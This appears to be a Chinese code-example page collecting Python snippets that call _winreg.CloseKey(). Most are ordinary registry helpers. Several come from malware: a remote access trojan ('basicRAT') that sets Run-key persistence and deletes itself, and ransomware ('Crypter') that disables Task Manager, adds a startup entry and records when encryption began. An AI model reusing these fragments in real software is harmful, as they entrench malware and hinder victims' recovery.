我们从Python开源项目中,提取了以下50个代码示例,用于说明如何使用_winreg.CloseKey()。
def __init__(self, **kwargs): python_version = kwargs.pop('python', '3.4') python_path = None for node in ('Wow6432Node\\', ''): try: key = compat_winreg.OpenKey( compat_winreg.HKEY_LOCAL_MACHINE, r'SOFTWARE\%sPython\PythonCore\%s\InstallPath' % (node, python_version)) try: python_path, _ = compat_winreg.QueryValueEx(key, '') finally: compat_winreg.CloseKey(key) break except Exception: pass if not python_path: raise BuildError('No such Python version: %s' % python_version) self.pythonPath = python_path super(PythonBuilder, self).__init__(**kwargs)
def __init__(self): self.hkey={} for key in (k for k in dir(reg) if k.startswith('HKEY_')): try: chk = reg.ConnectRegistry(None, getattr(reg, key)) inf = reg.QueryInfoKey(chk) reg.CloseKey(chk) except WindowsError: pass # some keys may appear in _winreg but can't be reached else: hk = Hkey(key) try: chk=hk.keys except WindowsError: pass # some keys can be accessed but not enumerated else: # some keys work fine ... name=key[5:].lower() self.hkey[name]=hk # for iterating setattr(self, name, hk) # for easy access
def selfdestruct(plat): if plat == 'win': import _winreg from _winreg import HKEY_CURRENT_USER as HKCU run_key = r'Software\Microsoft\Windows\CurrentVersion\Run' try: reg_key = _winreg.OpenKey(HKCU, run_key, 0, _winreg.KEY_ALL_ACCESS) _winreg.DeleteValue(reg_key, 'br') _winreg.CloseKey(reg_key) except WindowsError: pass elif plat == 'nix': pass elif plat == 'mac': pass # self delete os.remove(sys.argv[0]) sys.exit(0)
def selfdestruct(plat): if plat == 'win': import _winreg from _winreg import HKEY_CURRENT_USER as HKCU run_key = r'Software\Microsoft\Windows\CurrentVersion\Run' try: reg_key = _winreg.OpenKey(HKCU, run_key, 0, _winreg.KEY_ALL_ACCESS) _winreg.DeleteValue(reg_key, 'br') _winreg.CloseKey(reg_key) except WindowsError: pass elif plat == 'nix': pass elif plat == 'mac': pass os.remove(sys.argv[0]) sys.exit(0)
def enable(self): ''' @summary: Disables Windows Task Manager ''' key_exists = False # Try to read the key try: reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) disabled = _winreg.QueryValueEx(reg, "DisableTaskMgr")[0] _winreg.CloseKey(reg) key_exists = True except: pass # If key exists and is disabled, enable it if key_exists and disabled: reg = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION, 0, _winreg.KEY_SET_VALUE) _winreg.SetValueEx(reg, "DisableTaskMgr", 0, _winreg.REG_DWORD, 0x00000000) _winreg.CloseKey(reg)
def get_start_time(self): ''' @summary: Get's Crypter's start time from the registry, or creates it if it doesn't exist @return: The time that the ransomware began it's encryption operation, in integer epoch form ''' # Try to open registry key try: reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) start_time = _winreg.QueryValueEx(reg, "")[0] _winreg.CloseKey(reg) # If failure, create the key except WindowsError: start_time = int(time.time()) reg = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) _winreg.SetValue(reg, "", _winreg.REG_SZ, str(start_time)) _winreg.CloseKey(reg) return start_time
def selfdestruct(plat): if plat == 'win': import _winreg from _winreg import HKEY_CURRENT_USER as HKCU try: reg_key = _winreg.OpenKey(HKCU, run_key, 0, _winreg.KEY_ALL_ACCESS) _winreg.DeleteValue(reg_key, 'br') _winreg.CloseKey(reg_key) except WindowsError: pass elif plat == 'nix': pass elif plat == 'mac': pass # self delete basicRAT os.remove(sys.argv[0]) sys.exit(0)
def selfdestruct(plat): if plat == 'win': import _winreg from _winreg import HKEY_CURRENT_USER as HKCU run_key = r'Software\Microsoft\Windows\CurrentVersion\Run' try: reg_key = _winreg.OpenKey(HKCU, run_key, 0, _winreg.KEY_ALL_ACCESS) _winreg.DeleteValue(reg_key, 'br') _winreg.CloseKey(reg_key) except WindowsError: pass elif plat == 'nix': pass elif plat == 'mac': pass # self delete basicRAT os.remove(sys.argv[0]) sys.exit(0)
def __get_data(root_key, key, value): """This method gets the data from the given key and value under the root key. Args: root_key (str): The root key as abbreviated string. Valid values: [hklm, hkcr, hkcu, hku, hkpd, hkcc]. key (str): The subkey starting from the root key. e.g.: SYSTEM\CurrentControlSet\Services\Tcpip\Parameters value (str): The value to query. Returns: Str. It returns the retrieved data, or an empty string if data could not be retrieved. """ data = '' try: hkey = _winreg.OpenKey(root_key, key, 0, _winreg.KEY_READ) data, regtype = _winreg.QueryValueEx(hkey, value) _winreg.CloseKey(hkey) except WindowsError as e: logging.error('Error occurred getting registry data: {0}'.format(e)) return data
def flush(self): """Ensure that the key's data is flushed to disk. Quoting the _winreg documentation: It is not necessary to call FlushKey() to change a key. Registry changes are flushed to disk by the registry using its lazy flusher. Registry changes are also flushed to disk at system shutdown. Unlike CloseKey(), the FlushKey() method returns only when all the data has been written to the registry. An application should only call FlushKey() if it requires absolute certainty that registry changes are on disk. If you don't know whether a FlushKey() call is required, it probably isn't. """ _winreg.FlushKey(self.hkey)
def loadFromRegistryCurrentUser(self): ''' Load configuration from Windows registry. ''' # We manually build a .INI file in memory from the registry. inilines = ['[%s]' % applicationConfig.CONFIG_SECTIONNAME] try: import _winreg except ImportError, exc: raise ImportError, "applicationConfig.loadFromRegistryCurrentUser() can only be used under Windows (requires the _winreg module).\nCould not import module because: %s" % exc try: key = _winreg.OpenKey( _winreg.HKEY_CURRENT_USER, applicationConfig.CONFIG_REGPATH, 0, _winreg.KEY_READ) # Now get all values in this key: i = 0 try: while True: # mmm..strange, Should unpack to 3 values, but seems to # unpack to more. Bug of EnumValue() ? valueobj = _winreg.EnumValue(key, i) valuename = str(valueobj[0]).strip() valuedata = str(valueobj[1]).strip() valuetype = valueobj[2] if valuetype != _winreg.REG_SZ: raise TypeError, "The registry value %s does not have the correct type (REG_SZ). Please delete it." % valuename else: if valuename not in applicationConfig.NONEXPORTABLE_PARAMETERS: # Build the .INI file. inilines += ['%s=%s' % (valuename, str(valuedata))] i += 1 except EnvironmentError: # EnvironmentError means: "No more values to read". We simply # exit the 'While True' loop. pass # Then parse the generated .INI file. self.fromINI('\n'.join(inilines)) except EnvironmentError: raise WindowsError, "Could not read configuration from registry !" _winreg.CloseKey(key)
def printNets(username, password): keypath = r"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Signatures\\Unmanaged" key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, keypath) print ('[*] Networks you have joined.') for i in range(1): try: guid = _winreg.EnumKey(key, i) netKey = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, keypath+r"\\"+str(guid)) (n, addr, t) = _winreg.EnumValue(netKey, 0) (n, name, t) = _winreg.EnumValue(netKey, 1) macAddr = val2addr(addr) print (' [+] ' + name + ' ' + macAddr) #wiglePrint(username, password, macAddr) _winreg.CloseKey(netKey) except Exception, e: print e break
def _delete_key_if_empty(self, service): key_name = r'Software\%s\Keyring' % service key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_name, 0, winreg.KEY_ALL_ACCESS) try: winreg.EnumValue(key, 0) return except WindowsError: pass winreg.CloseKey(key) # it's empty; delete everything while key_name != 'Software': parent, sep, base = key_name.rpartition('\\') key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, parent, 0, winreg.KEY_ALL_ACCESS) winreg.DeleteKey(key, base) winreg.CloseKey(key) key_name = parent
def _read_registry(root,key,value): if _is_py2: import _winreg as winreg else: import winreg try: hkey = winreg.OpenKey(root, key) except: return None try: (val, typ) = winreg.QueryValueEx(hkey, value) except: winreg.CloseKey(hkey) return None winreg.CloseKey(hkey) return val
def close(self): """ Close this key """ if self._hkey: wreg.CloseKey(self._hkey)
def _create_win(self): try: key = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, r'Software\Microsoft\Windows NT\CurrentVersion\Fonts') except EnvironmentError: try: key = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, r'Software\Microsoft\Windows\CurrentVersion\Fonts') except EnvironmentError: raise FontNotFound('Can\'t open Windows font registry key') try: path = self._lookup_win(key, self.font_name, STYLES['NORMAL'], True) self.fonts['NORMAL'] = ImageFont.truetype(path, self.font_size) for style in ('ITALIC', 'BOLD', 'BOLDITALIC'): path = self._lookup_win(key, self.font_name, STYLES[style]) if path: self.fonts[style] = ImageFont.truetype(path, self.font_size) else: if style == 'BOLDITALIC': self.fonts[style] = self.fonts['BOLD'] else: self.fonts[style] = self.fonts['NORMAL'] finally: _winreg.CloseKey(key)
def windows_persistence(): import _winreg from _winreg import HKEY_CURRENT_USER as HKCU run_key = r'Software\Microsoft\Windows\CurrentVersion\Run' bin_path = sys.executable try: reg_key = _winreg.OpenKey(HKCU, run_key, 0, _winreg.KEY_WRITE) _winreg.SetValueEx(reg_key, 'br', 0, _winreg.REG_SZ, bin_path) _winreg.CloseKey(reg_key) return True, 'HKCU Run registry key applied' except WindowsError: return False, 'HKCU Run registry key failed'
def read_subkeys(self, regKey): self._log("Reading subkeys for registry key: %s" % regKey) registryHandles = [] subkeys = [] path = regKey.split("/") hiveName = path.pop(0) hive = reg.ConnectRegistry(None, self.regKeys[hiveName][0]) registryHandle = reg.OpenKey(hive, self.regKeys[hiveName][1]) registryHandles.append(hive) self._log("Connected to registry at location: %s" % hiveName) for step in path: registryHandles.append(registryHandle) registryHandle = reg.OpenKey(registryHandle, step) i = 0 while True: try: subkey = reg.EnumKey(registryHandle, i) self._log("Found subkey: %s" % subkey) subkeys.append(subkey) i += 1 except EnvironmentError: break self._log("Found %d subkeys." % len(subkeys)) self._log("Closing %d registry handles..." % len(registryHandles)) for handle in registryHandles: reg.CloseKey(handle) self._log("Done. Subkey enumeration completed.") return subkeys
def remove_certificate(self, certificate): CONTAINS_SUBKEYS = 0 registryHandles = [] returnValue = False path = certificate["RegPath"].split("/") hiveName = path.pop(0) keyName = path.pop(-1) hive = reg.ConnectRegistry(None, self.regKeys[hiveName][0]) registryHandle = reg.OpenKey(hive, self.regKeys[hiveName][1]) self._log("Connected to registry at location: %s" % hiveName) for step in path: registryHandles.append(registryHandle) registryHandle = reg.OpenKey(registryHandle, step) try: deletionCandidate = reg.OpenKey(registryHandle, keyName) self._log("Querying deletion canditate: %s" % certificate["RegPath"]) if not reg.QueryInfoKey(deletionCandidate)[CONTAINS_SUBKEYS]: self._log("Attempting to delete key: %s" % certificate["RegPath"]) reg.CloseKey(deletionCandidate) reg.DeleteKey(registryHandle, keyName) self._log("Deleted key: %s" % certificate["RegPath"]) returnValue = True else: self._error_log("Unable to delete key: %s. Key contains subkeys." % certificate["RegPath"]) registryHandles.append(deletionCandidate) raise WindowsError except WindowsError as e: self._error_log("Unable to delete key: %s. Windows error." % certificate["RegPath"]) self._error_log("%s: %s" % (certificate["RegPath"], str(e))) pass self._log("Closing registry handles...") for handle in registryHandles: reg.CloseKey(handle) reg.CloseKey(hive) self._log("Registry handles closed.") return returnValue
def add(name, application): """add a new autostart entry""" key = get_runonce() _winreg.SetValueEx(key, name, 0, _winreg.REG_SZ, application) _winreg.CloseKey(key)
def exists(name): """check if an autostart entry exists""" key = get_runonce() exists = True try: _winreg.QueryValueEx(key, name) except : #WindowsError exists = False _winreg.CloseKey(key) return exists
def remove(name): if not exists(name): return """delete an autostart entry""" key = get_runonce() _winreg.DeleteValue(key, name) _winreg.CloseKey(key)
def getenv(self, name): key = winreg.OpenKey(self.root, self.subkey, 0, winreg.KEY_READ) try: value, _ = winreg.QueryValueEx(key, name) except WindowsError: value = '' winreg.CloseKey(key) return value
def setenv(self, name, value): # Note: for 'system' scope, you must run this as Administrator key = winreg.OpenKey(self.root, self.subkey, 0, winreg.KEY_ALL_ACCESS) winreg.SetValueEx(key, name, 0, winreg.REG_EXPAND_SZ, value) winreg.CloseKey(key) # For some strange reason, calling SendMessage from the current process # doesn't propagate environment changes at all. # TODO: handle CalledProcessError (for assert) check_call('''\ "%s" -c "import win32api, win32con; assert win32api.SendMessage(win32con.HWND_BROADCAST, win32con.WM_SETTINGCHANGE, 0, 'Environment')"''' % sys.executable)
def _get_awvs_console_path(self): """Return """ try: conn = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE) wvs_path = _winreg.QueryValue(conn, 'SOFTWARE\Classes\Acunetix_WVS_Scan\Shell\Open\Command') _winreg.CloseKey(conn) wvs_path = re.search('"([^"]*)"', wvs_path).group(1) wvs_dir = os.path.dirname(wvs_path) return os.path.join(wvs_dir, 'wvs_console.exe') except Exception, e: LOG.error(e, exc_info=True)
def _reg_query_sub_keys(handle, key, keylist = []): reghandle = reg.OpenKey(handle, key, 0, reg.KEY_READ) try: i = 0 while True: subkey = reg.EnumKey(reghandle, i) i += 1 _reg_query_sub_keys(handle, key + subkey + "\\", keylist) except WindowsError as ex: if ex.winerror == 259: keylist.append(key) finally: reg.CloseKey(reghandle)
def disable(self): ''' @summary: Disables Windows Task Manager ''' key_exists = False # Try to read the key try: reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) disabled = _winreg.QueryValueEx(reg, "DisableTaskMgr")[0] _winreg.CloseKey(reg) key_exists = True except: pass # If key doesn't exist, create it and set to disabled if not key_exists: reg = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) _winreg.SetValueEx(reg, "DisableTaskMgr", 0, _winreg.REG_DWORD, 0x00000001) _winreg.CloseKey(reg) # If enabled, disable it elif key_exists and not disabled: reg = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION, 0, _winreg.KEY_SET_VALUE) _winreg.SetValueEx(reg, "DisableTaskMgr", 0, _winreg.REG_DWORD, 0x00000001) _winreg.CloseKey(reg)
def __add_to_startup_programs(self): ''' @summary: Adds Crypter to the list of Windows startup programs @todo: Code and test @todo: Restore try and except catch ''' try: reg = _winreg.CreateKeyEx(_winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION) _winreg.SetValueEx(reg, "Crypter", 0, _winreg.REG_SZ, sys.executable) _winreg.CloseKey(reg) except WindowsError: pass
def __remove_from_startup_programs(self): ''' @summary: Removes Crypter from the list of startup programs @todo: Code and test ''' try: reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION, 0, _winreg.KEY_SET_VALUE) _winreg.DeleteValue(reg, "Crypter") _winreg.CloseKey(reg) except WindowsError: pass
def commit(self, db): self.file.close() try: os.unlink(self.name+".cab") except OSError: pass for k, v in [(r"Software\Microsoft\VisualStudio\7.1\Setup\VS", "VS7CommonBinDir"), (r"Software\Microsoft\VisualStudio\8.0\Setup\VS", "VS7CommonBinDir"), (r"Software\Microsoft\VisualStudio\9.0\Setup\VS", "VS7CommonBinDir"), (r"Software\Microsoft\Win32SDK\Directories", "Install Dir"), ]: try: key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, k) dir = _winreg.QueryValueEx(key, v)[0] _winreg.CloseKey(key) except (WindowsError, IndexError): continue cabarc = os.path.join(dir, r"Bin", "cabarc.exe") if not os.path.exists(cabarc): continue break else: print "WARNING: cabarc.exe not found in registry" cabarc = "cabarc.exe" cmd = r'"%s" -m lzx:21 n %s.cab @%s.txt' % (cabarc, self.name, self.name) p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) for line in p.stdout: if line.startswith(" -- adding "): sys.stdout.write(".") else: sys.stdout.write(line) sys.stdout.flush() if not os.path.exists(self.name+".cab"): raise IOError, "cabarc failed" add_data(db, "Media", [(1, self.index, None, "#"+self.name, None, None)]) add_stream(db, self.name, self.name+".cab") os.unlink(self.name+".txt") os.unlink(self.name+".cab") db.Commit()
def get_installed_pythons(): try: python_core = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, "Software\\Python\\PythonCore") except WindowsError: # No registered Python installations return {} i = 0 versions = [] while True: try: versions.append(winreg.EnumKey(python_core, i)) i = i + 1 except WindowsError: break exes = dict() for ver in versions: try: path = winreg.QueryValue(python_core, "%s\\InstallPath" % ver) except WindowsError: continue exes[ver] = join(path, "python.exe") winreg.CloseKey(python_core) # Add the major versions # Sort the keys, then repeatedly update the major version entry # Last executable (i.e., highest version) wins with this approach for ver in sorted(exes): exes[ver[0]] = exes[ver] return exes
def __get_key_values(root_key, key): """This method gets the values and subkeys from the given key under the root key. Args: root_key (str): The root key as abbreviated string. Valid values: [hklm, hkcr, hkcu, hku, hkpd, hkcc]. key (str): The subkey starting from the root key. e.g.: SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\interfaces Returns: list. It returns the retrieved values and subkeys or an empty list if data could not be retrieved. """ values = [] i = 0 try: hkey = _winreg.OpenKey(root_key, key, 0, _winreg.KEY_READ) except WindowsError as e: logging.error('Key ({0}) could not be opened: {1}'.format(key, e)) return values while True: try: value = _winreg.EnumKey(hkey, i) values.append(value) i += 1 except WindowsError: logging.info('No more values. Total values: {0}'.format(i)) if hkey: _winreg.CloseKey(hkey) break # no more values return values